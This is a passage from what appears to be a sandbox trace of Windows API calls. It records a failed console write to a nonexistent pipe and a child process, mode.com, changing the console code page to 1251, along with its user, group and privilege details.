lpBuffer=0x4a306340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0175.841] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x4a306340, nSize=0x2000, Arguments=0x14fa50 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0175.841] _get_osfhandle (_FileHandle=2) returned 0x3a4 [0175.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="The process tried to write to a nonexistent pipe.\r\n", cchWideChar=-1, lpMultiByteStr=0x4a2fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The process tried to write to a nonexistent pipe.\r\n", lpUsedDefaultChar=0x0) returned 52 [0175.841] WriteFile (in: hFile=0x3a4, lpBuffer=0x4a2fc320, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x14f9d8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x14f9d8, lpOverlapped=0x0) returned 0 [0175.841] GetLastError () returned 0xe8 [0175.841] exit (_Code=1) Process: id = "15" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x626dd000" os_pid = "0x50c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x4a0" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9a0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 91 os_tid = 0x78c